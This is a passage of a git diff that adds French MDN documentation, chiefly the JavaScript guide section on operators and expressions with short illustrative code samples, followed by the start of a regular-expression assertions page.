+ <li>Les opérandes sont convertis en entiers sur 32 bits et exprimés comme une série de bits (des 1 et des 0). Les nombres sur plus de 32 bits voient leurs bits supplémentaires supprimés :
+  <pre class="brush: js">Avant : 11100110111110100000000000000110000000000001
+Après :             10100000000000000110000000000001</pre>
+ </li>
+ <li>Chaque bit du premier opérande est associé avec le bit correspondant du second opérande (le premier bit du premier opérande avec le premier bit du second opérande, le second avec le second et ainsi de suite)</li>
+ <li>L'opérateur est appliqué pour chaque paire de bits ainsi constituée et le résultat est reconstruit sous forme binaire.</li>
+</ul>
+
+<p>Le chiffre neuf est par exemple représenté comme 1001, et le nombre quinze comme 1111. Ainsi, quand les opérateurs binaires sont appliqués sur ces valeurs, on a les résultats qui suivent :</p>
+
+<table class="standard-table">
+ <caption>Exemples utilisant les opérateurs binaires</caption>
+ <thead>
+  <tr>
+   <th scope="col">Expression</th>
+   <th scope="col">Résultat</th>
+   <th scope="col">Description binaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>15 &amp; 9</code></td>
+   <td><code>9</code></td>
+   <td><code>1111 &amp; 1001 = 1001</code></td>
+  </tr>
+  <tr>
+   <td><code>15 | 9</code></td>
+   <td><code>15</code></td>
+   <td><code>1111 | 1001 = 1111</code></td>
+  </tr>
+  <tr>
+   <td><code>15 ^ 9</code></td>
+   <td><code>6</code></td>
+   <td><code>1111 ^ 1001 = 0110</code></td>
+  </tr>
+  <tr>
+   <td><code>~15</code></td>
+   <td><code>-16</code></td>
+   <td><code>~</code><code>00000000...</code><code>00001111 = </code><code>1111</code><code>1111</code><code>...</code><code>11110000</code></td>
+  </tr>
+  <tr>
+   <td><code>~9</code></td>
+   <td><code>-10</code></td>
+   <td><code>~</code><code>00000000</code><code>...</code><code>0000</code><code>1001 = </code><code>1111</code><code>1111</code><code>...</code><code>1111</code><code>0110</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il faut remarquer que tous les bits sont échangés lorsque l'opérateur binaire NOT est utilisé. Il est donc utile de savoir que les valeurs dont le bit le plus fort (le plus à gauche) vaut 1 sont des nombres négatifs (représentation en complément à deux). L'évaluation de <code>~x</code> aura le même résultat que l'évaluation de <code>-x - 1</code>.</p>
+
+<h4 id="Opérateurs_binaires_de_décalage">Opérateurs binaires de décalage</h4>
+
+<p>Les opérateurs binaires de décalage utilisent deux opérandes : le premier indiquant la quantité à décaler et le second indiquant de combien de bits on décale le premier opérande. La direction du décalage est spécifiée grâce à l'opérateur.</p>
+
+<p>Les opérateurs binaires de décalage convertissent leurs opérandes en entiers sur 32 bits et renvoient un résultat dont le type est le même que l'opérande gauche.</p>
+
+<p>Les opérateurs de décalage sont énumérés dans le tableau qui suit.</p>
+
+<table class="fullwidth-table">
+ <caption>Opérateurs binaires de décalage</caption>
+ <thead>
+  <tr>
+   <th scope="col">Opérateur</th>
+   <th scope="col">Description</th>
+   <th scope="col">Exemple</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#&lt;&lt;_(décalage_à_gauche)">Décalage à gauche (<code>&lt;&lt;</code>)</a></td>
+   <td>Cet opérateur décale le premier opérande d'un nombre de bits donné sur la gauche. Les bits en trop sont ignorés et des bits à zéro sont introduits à droite.</td>
+   <td><code>9&lt;&lt;2</code> renvoie 36, car 1001, décalé de 2 bits à gauche, devient  100100, dont la représentation en base 10 est  36.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#>>_(décalage_à_droite_avec_propagation_du_signe)">Décalage à droite avec propagation du signe (<code>&gt;&gt;</code>)</a></td>
+   <td>Cet opérateur décale le premier opérande d'un nombre de bits donné sur la droite. Les bits en trop sont ignorés et des bits correspondants au bit de signe sont introduits à gauche.</td>
+   <td><code>9&gt;&gt;2</code> renvoie 2, car 1001, décalé de 2 bits à droite, devient 10 représentant 2. De même  <code>-9&gt;&gt;2</code> renvoie -3, car le signe est préservé.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#>>>_(décalage_à_droite_avec_insertion_de_zéros)">Décalage à droite avec zéros (<code>&gt;&gt;&gt;</code>)</a></td>
+   <td>Cet opérateur décale le premier opérande d'un nombre de bits donné sur la droite. Les bits en trop sont ignorés et des bits à 0 sont introduits à gauche.</td>
+   <td><code>19&gt;&gt;&gt;2</code> renvoie 4, car 10011, décalé de 2 bits, devient 100 qui représente 4. Pour les nombres positifs, cet opérateur et l'opérateur précédent renvoient les mêmes résultats.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Opérateurs_logiques">Opérateurs logiques</h3>
+
+<p>Les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques">opérateurs logiques</a> sont généralement utilisés avec des valeurs booléennes. Dans ce cas, il renvoient une valeur booléenne. Les opérateurs <code>&amp;&amp;</code> et <code>||</code> renvoient en fait une valeurs d'un des opérandes et si ces opérateurs sont utilisés avec des valeurs non-booléennées, ils pourront renvoyer une valeur non-booléenne. Les opérateurs logiques sont décrits dans le tableau qui suit.</p>
+
+<table class="fullwidth-table">
+ <caption>Opérateurs logiques</caption>
+ <thead>
+  <tr>
+   <th scope="col">Opérateur</th>
+   <th scope="col">Usage</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques#Logical_AND_.28&amp;&amp;.29">ET logique</a> (<code>&amp;&amp;</code>)</td>
+   <td><code>expr1 &amp;&amp; expr2</code></td>
+   <td>Renvoie <code>expr1</code> s'il peut être converti à false, sinon renvoie <code>expr2</code>. Dans le cas où on utilise des opérandes booléens, <code>&amp;&amp;</code> renvoie <code>true</code> si les deux opérandes valent <code>true</code>, <code>false</code> sinon.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques#OU_logique_(.7C.7C)">OU logique</a> (<code>||</code>)</td>
+   <td><code>expr1 || expr2</code></td>
+   <td>Renvoie <code>expr1</code> s'il peut être converti à <code>true</code>, sinon renvoie <code>expr2</code>. Dans le cas où on utilise des opérandes booléens, <code>||</code> renvoie <code>true</code> si l'un des opérandes vaut <code>true</code>, si les deux valent <code>false</code>, il renvoie <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques#Logical_NOT_.28.21.29">NON logique </a>(<code>!</code>)</td>
+   <td><code>!expr</code></td>
+   <td>Renvoie <code>false</code> si son unique opérande peut être converti en <code>true</code>, sinon il renvoie <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les exemples d'expressions qui peuvent être converties à <code>false</code> sont celles qui sont évaluées à <code>null</code>, 0, <code>NaN</code>, la chaîne de caractères vide (""), ou <code>undefined</code>.</p>
+
+<p>Le code qui suit montre des exemples de l'utilisation de l'opérateur logique ET (&amp;&amp;).</p>
+
+<pre class="brush: js">var a1 =   true &amp;&amp; true;     // t &amp;&amp; t renvoie true
+var a2 =   true &amp;&amp; false;    // t &amp;&amp; f renvoie false
+var a3 =  false &amp;&amp; true;     // f &amp;&amp; t renvoie false
+var a4 =  false &amp;&amp; (3 == 4); // f &amp;&amp; f renvoie false
+var a5 = "Chat" &amp;&amp; "Chien";  // t &amp;&amp; t renvoie Chien
+var a6 =  false &amp;&amp; "Chat";   // f &amp;&amp; t renvoie false
+var a7 = "Chat" &amp;&amp; false;    // t &amp;&amp; f renvoie false
+</pre>
+
+<p>Les exemples suivants montrent l'utilisation de l'opérateur logique OU (||).</p>
+
+<pre class="brush: js">var o1 =   true || true;     // t || t renvoie true
+var o2 =  false || true;     // f || t renvoie true
+var o3 =   true || false;    // t || f renvoie true
+var o4 =  false || (3 == 4); // f || f renvoie false
+var o5 = "Chat" || "Chien";  // t || t renvoie Chat
+var o6 =  false || "Chat";   // f || t renvoie Chat
+var o7 = "Chat" || false;    // t || f renvoie Chat
+</pre>
+
+<p>Les exemples suivants montrent l'utilisation de l'opérateur logique NON (!).</p>
+
+<pre class="brush: js">var n1 = !true;   // !t renvoie false
+var n2 = !false;  // !f renvoie true
+var n3 = !"Chat"; // !t renvoie false
+</pre>
+
+<h4 id="Evaluation_rapide">Evaluation rapide</h4>
+
+<p>Les expressions logiques sont évaluées de gauche à droite. Cette évaluation utilise des tests pour savoir s'il est possible d'utiliser des « raccourcis » correspondant aux règles suivantes :</p>
+
+<ul>
+ <li><code>false</code> &amp;&amp; <em>n'importe quoi</em> sera évalué à <code>false</code>.</li>
+ <li><code>true</code> || <em>n'importe quoi </em>sera évalué à <code>true</code>.</li>
+</ul>
+
+<p>Les règles logiques garantissent la validité de ces évaluations, il faut noter que le second opérande n'est pas du tout évalué, empêchant ainsi les effets de bords cachés, liés à cette évaluation.</p>
+
+<h3 id="Opérateurs_de_chaînes_de_caractères">Opérateurs de chaînes de caractères</h3>
+
+<p>En plus des opérateurs de comparaisons qui peuvent être utilisés sur des chaînes de caractères, il existe l'opérateur de concaténation (+) permettant de concaténer deux chaînes de caractères. Le résultat de cette opération est la fusion des deux opérandes en une même chaîne de caractères. Ainsi :</p>
+
+<pre class="brush: js">console.log("ma " + "chaîne"); // affichera "ma chaîne" dans la console</pre>
+
+<p>L'opérateur court += peut également être utilisé pour concaténer des chaînes. Par exemple :</p>
+
+<pre class="brush: js">var maChaîne = "alpha";
+maChaîne += "bet"; // l'expression sera évaluée en "alphabet"
+                   // et cette valeur sera affectée à maChaîne</pre>
+
+<h3 id="Opérateur_conditionnel_ternaire">Opérateur conditionnel ternaire</h3>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_conditionnel">opérateur conditionnel</a> est le seul opérateur JavaScript qui utilise trois opérandes. L'expression utilisant l'opérateur peut prendre une valeur parmi deux selon une condition donnée. Cet opérateur s'utilise avec la syntaxe suivante :</p>
+
+<pre class="syntaxbox"><em>condition</em> ? <em>val1</em> : <em>val2</em>
+</pre>
+
+<p>Si <code>condition</code> vaut <code>true</code>, l'opérateur vaudra <code>val1</code>. Sinon il vaudra <code>val2</code>. Il est possible d'utiliser l'opérateur conditionnel aux mêmes endroits qu'un opérateur standard.</p>
+
+<p>On peut par exemple avoir :</p>
+
+<pre class="brush: js">var statut = (âge &gt;= 18) ? "adulte" : "mineur";
+</pre>
+
+<p>Cette instruction assigne la valeur "adulte" à la variable <code>status</code> si la variable <code>âge</code> est supérieure ou égale à 18. Sinon, on lui affecte la valeur "mineur".</p>
+
+<h3 id="La_virgule_comme_opérateur">La virgule comme opérateur</h3>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_virgule">opérateur virgule</a> (<code>,</code>) évalue ses deux opérandes et renvoie la valeur du second opérande. Cet opérateur est principalement utilisé dans les boucles for pour permettre à plusieurs variables d'être modifiées à chaque itération de la boucle.</p>
+
+<p>Ainsi, si on a un tableau à 2 dimensions avec 10 lignes et colonnes, on peut utiliser la virgule comme opérateur pour incrémenter deux variables à la fois. Le code qui suit imprime les valeurs contenues sur la diagonale du tableau :</p>
+
+<pre class="brush: js">var x = [0,1,2,3,4,5,6,7,8,9]
+var a = [x, x, x, x, x];
+
+for (var i = 0, j = 9; i &lt;= j; i++, j--)
+  console.log("a[" + i + "][" + j + "]= " + a[i][j]);
+</pre>
+
+<h3 id="Opérateurs_unaires">Opérateurs unaires</h3>
+
+<h4 id="delete"><code>delete</code></h4>
+
+<p>L'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">delete</a> supprime un objet, une propriété d'un objet ou un élément d'un tableau à partir de sa position dans le tableau. La syntaxe de cet opérateur est la suivante :</p>
+
+<pre class="brush: js">delete monObjet;
+delete monObjet.propriété;
+delete monObjet[index];
+delete propriété; // uniquement valide au sein d'une instruction with
+</pre>
+
+<p>où on a <code>monObjet</code> qui est le nom de l'objet, <code>propriété</code> qui est une propriété existante et <code>index</code> un entier indiquant la position d'un élément dans un tableau.</p>
+
+<p>La quatrième instruction n'est valide qu'au sein d'une instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code> et permet de supprimer une propriété d'un objet.</p>
+
+<p>Il est possible d'utiliser l'opérateur <code>delete</code> pour supprimer les variables déclarées implicitement mais pas celles déclarées avec <code>var</code>. Si l'opérateur fonctionne correctement, il change la propriété ou l'élément vers la valeur <code>undefined</code>. L'opérateur <code>delete</code> renvoie <code>true</code> si l'opération de suppression est possible, <code>false</code> sinon.</p>
+
+<pre class="brush: js">x = 42;
+var y = 43;
+monobj = new Number();
+monobj.h = 4;    // création de la propriété h
+delete x;        // renvoie true (suppression possible si déclaration implicite)
+delete y;        // renvoie false (suppression impossible si déclaration avec var si la variable n'est pas une propriété)
+delete Math.PI;  // renvoie false (suppression impossible pour les propriétés pré-définies)
+delete monobj.h; // renvoie true (suppression possible des propriétés définies par l'utilisateur)
+delete monobj;   // renvoie true (suppression possible si déclaration implicite)
+</pre>
+
+<h5 id="Suppression_déléments_dun_tableau">Suppression d'éléments d'un tableau</h5>
+
+<p>Lorsqu'on supprime un élément d'un tableau, la longueur du tableau n'est pas modifiée. Ainsi, si on supprime <code>a[3]</code>, <code>a[4]</code> restera <code>a[4]</code> (même position et valeur) alors que <code>a[3]</code> sera <code>undefined</code>.</p>
+
+<p>Lorsque l'opérateur <code>delete</code> supprime un élément d'un tableau, cet élément n'appartient plus au tableau. Dans l'exemple qui suit, <code>arbres[3]</code> est supprimé mais il est toujours accessible et renvoie <code>undefined</code>.</p>
+
+<pre class="brush: js">var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
+delete arbres[3];
+if (3 in arbres) {
+  // Ceci ne sera pas exécuté
+}
+</pre>
+
+<p>Pour qu'un élément continue à exister mais qu'il vaille <code>undefined</code>, on utilisera le mot-clé<code> undefined</code> plutôt que l'opérateur <code>delete</code>. Dans l'exemple qui suit, arbres<code>[3]</code> est modifié pour valoir <code>undefined</code> et l'élément du tableau continue à exister :</p>
+
+<pre class="brush: js">var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
+arbres[3] = undefined;
+if (3 in arbres) {
+  // Ceci sera exécuté
+}
+</pre>
+
+<h4 id="typeof"><code>typeof</code></h4>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_typeof">opérateur <code>typeof</code></a> peut être utilisé de deux façons distinctes :</p>
+
+<ol>
+ <li>
+  <pre class="syntaxbox">typeof opérande</pre>
+ </li>
+ <li>
+  <pre class="syntaxbox">typeof (opérande)
+</pre>
+ </li>
+</ol>
+
+<p>L'opérateur <code>typeof</code> renvoie une chaîne de caractères indiquant le type de l'opérande (qui n'est pas évalué). <code>opérande</code> correspond à la chaîne de caractère, la variable, le mot-clé ou l'objet dont on souhaite renvoyer le type. L'utilisation des parenthèses est facultative.</p>
+
+<p>Soient les définitions de variables suivantes :</p>
+
+<pre class="brush: js">var maFonction = new Function("5 + 2");
+var forme = "round";
+var taille = 1;
+var toto = ["Pomme", "Poire", "Orange"];
+var jour = new Date();
+</pre>
+
+<p>L'opérateur <code>typeof</code> renverra les résultats suivants :</p>
+
+<pre class="brush: js">typeof maFonction; // renvoie "function"
+typeof forme;      // renvoie "string"
+typeof taille;     // renvoie "number"
+typeof toto;       // renvoie "object"
+typeof jour;       // renvoie "object"
+typeof inexistant; // renvoie "undefined"
+</pre>
+
+<p>En ce qui concerne les mots-clés <code>true</code> et <code>null</code>, l'opérateur <code>typeof</code> renvoie les résultats suivants :</p>
+
+<pre class="brush: js">typeof true; // renvoie "boolean"
+typeof null; // renvoie "object"
+</pre>
+
+<p>Pour une chaîne de caractères ou un nombre, <code>typeof</code> renvoie les résultats suivants :</p>
+
+<pre class="brush: js">typeof 62;            // renvoie "number"
+typeof 'Hello world'; // renvoie "string"
+</pre>
+
+<p>L'opérateur <code>typeof</code>, lorsqu'il est utilisé avec des propriétés, renvoie le type de valeur contenue dans la propriété :</p>
+
+<pre class="brush: js">typeof document.lastModified; // renvoie "string"
+typeof window.length;         // renvoie "number"
+typeof Math.LN2;              // renvoie "number"
+</pre>
+
+<p>Pour les méthodes et les fonctions, l'opérateur <code>typeof</code> renvoie les résultats suivants :</p>
+
+<pre class="brush: js">typeof blur;        // renvoie "function"
+typeof eval;        // renvoie "function"
+typeof parseInt;    // renvoie "function"
+typeof shape.split; // renvoie "function"
+</pre>
+
+<p>Pour les objets pré-définis, l'opérateur <code>typeof</code> fonctionne ainsi :</p>
+
+<pre class="brush: js">typeof Date;     // renvoie "function"
+typeof Function; // renvoie "function"
+typeof Math;     // renvoie "object"
+typeof Option;   // renvoie "function"
+typeof String;   // renvoie "function"
+</pre>
+
+<h4 id="void"><code>void</code></h4>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_void">opérateur <code>void</code></a> peut être utilisé de deux façons :</p>
+
+<ol>
+ <li>
+  <pre class="syntaxbox">void (expression)
+</pre>
+ </li>
+ <li>
+  <pre class="syntaxbox">void expression
+</pre>
+ </li>
+</ol>
+
+<p>L'opérateur <code>void</code> indique qu'une expression doit être évaluée sans retourner de valeur. <code>expression</code> étant une expression JavaScript à évaluer. Les parenthèses sont facultatives mais les utiliser permet d'avoir une meilleur lisibilité du code.</p>
+
+<p>L'opérateur <code>void</code> peut être utilisé pour spécifier une expression comme un lien hypertexte, l'expression est évaluée mais n'est pas chargée à la place du document actuel.</p>
+
+<p>Le fragment de code  qui suit crée un lien hypertexte qui ne fait rien lorsque l'utilisateur clique dessus. Lorsqu'on clique sur le lien, <code>void(0)</code> est évalué à <code>undefined</code>, n'ayant aucun effet.</p>
+
+<pre class="brush: html">&lt;A HREF="javascript:void(0)"&gt;Cliquer ici pour ne rien faire&lt;/A&gt;
+</pre>
+
+<p>Le code suivant crée un lien hypertexte qui envoie un formulaire lorsque l'utilisateur clique dessus.</p>
+
+<pre class="brush: html">&lt;A HREF="javascript:void(document.form.submit())"&gt;
+Cliquer ici pour envoyer&lt;/A&gt;</pre>
+
+<h3 id="Opérateurs_relationnels">Opérateurs relationnels</h3>
+
+<p>Un opérateur relationnel compare ses opérandes et renvoie une valeur booléenne selon que le résultat de la comparaison est vrai ou faux.</p>
+
+<h4 id="in"><code>in</code></h4>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_in">opérateur <code>in</code></a> renvoie <code>true</code> si la propriété indiquée fait partie de l'objet donné. Cet opérateur s'utilise avec la syntaxe suivante :</p>
+
+<pre class="syntaxbox">nomOuNumeroPropriete in monObjet
+</pre>
+
+<p>avec <code>nomOuNumeroPropriete</code> qui est une chaîne de caractères, une expression numérique ou un symbole correspondant au nom d'une propriété ou un indice de tableau, <code>monObjet</code> est le nom d'un objet.</p>
+
+<p>Les exemples qui suivent utilisent cet opérateur <code>in</code>.</p>
+
+<pre class="brush: js">// Tableaux
+var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
+0 in arbres;         // renvoie true
+3 in arbres;         // renvoie true
+6 in arbres;         // renvoie false
+"laurier" in arbres; // renvoie false (l'opérateur se base sur l'indice et pas
+                     // sur la valeur)
+"length" in arbres;  // renvoie true (length est une propriété d'un objet Array)
+
+// Objets pré-définis
+"PI" in Math;         // renvoie true
+var myString = new String("coral");
+"length" in myString; // renvoie true
+
+// Objets définis par l'utilisateur
+var maVoiture = {fabricant: "Honda", modèle: "Accord", year: 1998};
+"fabricant" in maVoiture; // renvoie true
+"modèle" in maVoiture;    // renvoie true
+</pre>
+
+<h4 id="instanceof"><code>instanceof</code></h4>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/instanceof">opérateur instanceof</a> renvoie <code>true</code> si l'objet donné est du type spécifié. Cet opérateur s'utilise avec la syntaxe suivante :</p>
+
+<pre class="syntaxbox">nomObjet instanceof typeObjet
+</pre>
+
+<p>avec <code>nomObjet</code> qui est le nom de l'objet dont on souhaite comparer le type à <code>typeObjet</code>, <code>typeObjet</code> étant un type d'objet tel que {{jsxref("Date")}} ou {{jsxref("Array")}}.</p>
+
+<p><code>instanceof</code> peut être utilisé pour confirmer le type d'un objet pendant l'exécution. Ainsi, on peut gérer les exceptions en prévoyant différents cas pour différents types d'exception éventuellement levées.</p>
+
+<p>Dans l'exemple qui suit, le code utilise l'opérateur <code>instanceof</code> afin de déterminer si <code>jour</code> est un objet <code>Date</code>. C'est le cas, les instructions contenues dans le bloc après l'instruction <code>if</code> sont donc exécutées.</p>
+
+<pre class="brush: js">var jour = new Date(2007, 01, 22);
+if (jour instanceof Date) {
+  // instructions à exécuter
+}
+</pre>
+
+<h3 id="Précédence_des_opérateurs">Précédence des opérateurs</h3>
+
+<p>La <em>précédence</em> des opérateurs indique l'ordre dans lequel ils sont appliqués lors de l'évaluation d'une expression. L'utilisation de parenthèses permet de surcharger la relation de précédence.</p>
+
+<p>Le tableau qui suit décrit les précédences des opérateurs, dans l'ordre décroissant.</p>
+
+<table class="standard-table">
+ <caption>Précédence des opérateurs</caption>
+ <thead>
+  <tr>
+   <th scope="col">Type d'opérateur</th>
+   <th scope="col">Opérateurs individuels</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>membre</td>
+   <td><code>. []</code></td>
+  </tr>
+  <tr>
+   <td>appel/création d'instance</td>
+   <td><code>() new</code></td>
+  </tr>
+  <tr>
+   <td>négation/incrémentation</td>
+   <td><code>! ~ - + ++ -- typeof void delete</code></td>
+  </tr>
+  <tr>
+   <td>multiplication/division</td>
+   <td><code>* / %</code></td>
+  </tr>
+  <tr>
+   <td>addition/soustraction</td>
+   <td><code>+ -</code></td>
+  </tr>
+  <tr>
+   <td>décalage binaire</td>
+   <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td>relationnel</td>
+   <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
+  </tr>
+  <tr>
+   <td>égalité</td>
+   <td><code>== != === !==</code></td>
+  </tr>
+  <tr>
+   <td>ET binaire</td>
+   <td><code>&amp;</code></td>
+  </tr>
+  <tr>
+   <td>OU exclusif binaire</td>
+   <td><code>^</code></td>
+  </tr>
+  <tr>
+   <td>OU binaire</td>
+   <td><code>|</code></td>
+  </tr>
+  <tr>
+   <td>ET logique</td>
+   <td><code>&amp;&amp;</code></td>
+  </tr>
+  <tr>
+   <td>OU logique</td>
+   <td><code>||</code></td>
+  </tr>
+  <tr>
+   <td>conditionnel</td>
+   <td><code>?:</code></td>
+  </tr>
+  <tr>
+   <td>assignation</td>
+   <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</code></td>
+  </tr>
+  <tr>
+   <td>virgule</td>
+   <td><code>,</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Une version plus détaillée de cette table peut être trouvée dans la <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Précédence_des_opérateurs#Table">référence JavaScript</a>.</p>
+
+<h2 id="Expressions">Expressions</h2>
+
+<p>Un expression correspond à une unité de code valide qui est résolue en une valeur.</p>
+
+<p>D'un point de vue syntaxique, toute expression valide se résout en une valeur. D'un point de vue conceptuel cependant, il y a deux types d'expressions : celles avec des effets de bord (qui, par exemple, affectent une valeur à une variable) et celles qui, d'une certaine façon, sont évaluées et sont résolues en une valeur.</p>
+
+<p>L'expression <code>x = 7</code> affecte une valeur (premier type). Dans celle-ci, on utilise l'opérateur <code>=</code> pour affecter la valeur 7 à la variable <code>x</code>. L'expression elle-même est évaluée à 7.</p>
+
+<p>Le code <code>3 + 4</code> correspond au second type d'expression. On utilise ici l'opérateur <code>+</code> pour ajouter trois à quatre sans affecter le résultat (7) à une variable.</p>
+
+<p>Les expressions JavaScript peuvent être rangées selon différentes catégories :</p>
+
+<ul>
+ <li>Arithmétiques : l'expression est évaluée en un nombre (par exemple 3.14159)</li>
+ <li>Textuelles : l'expression est évaluée en une chaîne de caractères</li>
+ <li>Logiques : l'expression est évaluée en <code>true</code> ou <code>false</code></li>
+ <li>Primaires : Les mots-clés basiques et les expressions générales en JavaScript</li>
+ <li>Expressions vers la gauche : Les valeurs à gauche sont la cible d'une affectation</li>
+</ul>
+
+<h3 id="Expressions_primaires">Expressions primaires</h3>
+
+<p>Ces expressions correspondent aux mots-clés et aux expressions générales en JavaScript.</p>
+
+<h4 id="this"><code>this</code></h4>
+
+<p>Le <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">mot-clé <code>this</code></a> permet de faire référence à l'objet courant. En général, on l'utilise au sein d'une méthode pour faire référence à l'objet qui a utilisé la méthode. Il s'utilise de cette façon :</p>
+
+<pre class="syntaxbox">this["nomPropriété"]
+this.nomPropriété</pre>
+
+<p>Soit une fonction qui valide un objet si sa propriété <code>value</code> est comprise entre deux valeurs :</p>
+
+<pre class="brush: js">function valide(obj, valMin, valMax){
+  if ((obj.value &lt; valMin) || (obj.value &gt; valMax))
+    console.log("Valeur incorrecte !");
+}
+</pre>
+
+<p>Il est possible d'appeler <code>valide</code> pour chaque gestionnaire d'événement <code>onChange</code> des éléments du formulaire, et d'utiliser le mot-clé <code>this</code> pour passer l'élément même en argument :</p>
+
+<pre class="brush: html">&lt;p&gt;Entrez un nombre entre 18 et 99 :&lt;/p&gt;
+&lt;input type="text" nom="age" size=3 onChange="valide(this, 18, 99);"&gt;
+</pre>
+
+<h4 id="Opérateur_de_groupement">Opérateur de groupement</h4>
+
+<p>L'opérateur de groupement <code>( )</code> permet de contrôler la précédence de l'évaluation dans les expressions. On peut ainsi forcer l'évaluation d'une addition avant l'évaluation d'une multiplication ou d'une division.</p>
+
+<pre class="brush: js">var a = 1;
+var b = 2;
+var c = 3;
+
+// précédence par défaut
+a + b * c;   // 7
+// ce qui correspond à :
+a + (b * c); // 7
+
+// on peut utiliser l'opérateur
+// pour effectuer l'addition en premier
+(a + b) * c;   // 9
+
+// ce qui équivaut à :
+a * c + b * c; // 9
+</pre>
+
+<h3 id="Expressions_vers_la_gauche">Expressions vers la gauche</h3>
+
+<p>Les valeurs à gauches de ces expressions sont la cible d'une affectation.</p>
+
+<h4 id="new"><code>new</code></h4>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">opérateur <code>new</code></a> permet de créer une instance d'un objet défini par l'utilisateur ou d'un objet dont le type est un des types d'objets natifs. Cet opérateur utilise la syntaxe suivante :</p>
+
+<pre class="brush: js">var nomObjet = new typeObjet([param1, param2, ..., paramN]);
+</pre>
+
+<h4 id="super">super</h4>
+
+<p>Le <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/super">mot-clé <code>super</code></a> est utilisé afin d'appeler des fonctions disponibles sur un objet parent. Il peut notamment être utilisé avec les <a href="/fr/docs/Web/JavaScript/Reference/Classes">classes</a> pour appeler le constructeur parent.</p>
+
+<pre class="syntaxbox">super([arguments]); // invoque le constructeur parent
+super.functionParent([arguments]);
+</pre>
+
+<h4 id="Opérateur_de_décomposition">Opérateur de décomposition</h4>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateur_de_décomposition">opérateur de décomposition</a> permet de développer une expression là où plusieurs argument (pour les appels de fonction) ou plusieurs éléments (pour les littéraux de tableaux) sont attendus.</p>
+
+<p>Par exemple, si on a tableau et qu'on souhaite créer un nouveau tableau qui contient l'ancien, on peut soit utiliser une combinaison des méthodes <code>push</code>, <code>splice</code>, <code>concat</code>, soit utiliser la syntaxe de décomposition qui s'avère plus concise :</p>
+
+<pre class="brush: js">var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];</pre>
+
+<p>L'opérateur de décomposition fonctionne de façon semblable avec les appels de fonction :</p>
+
+<pre class="brush: js">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Fonctions", "Web/JavaScript/Guide/Nombres_et_dates")}}</p>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/assertions/index.html b/files/fr/web/javascript/guide/expressions_régulières/assertions/index.html
new file mode 100644
index 0000000000..2802651d49
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/assertions/index.html
@@ -0,0 +1,106 @@
+---
+title: Assertions
+slug: Web/JavaScript/Guide/Expressions_régulières/Assertions
+tags:
+  - Assertions
+  - Guide
+  - JavaScript
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Les assertions indiquent les conditions selon lesquelles il est possible d'avoir une correspondance (contenu situé avant la correspondance, situé après ou expressions conditionnelles).</p>
+
+<h2 id="Types">Types</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le caractère <code>?</code> peut également être utilisé comme quantificateur.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caractères</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>x(?=y)</code></td>
+   <td>
+    <p>Correspond à 'x' seulement s'il est suivi de 'y'. On appelle cela un test de succession (<em>lookahead</em>).</p>
+
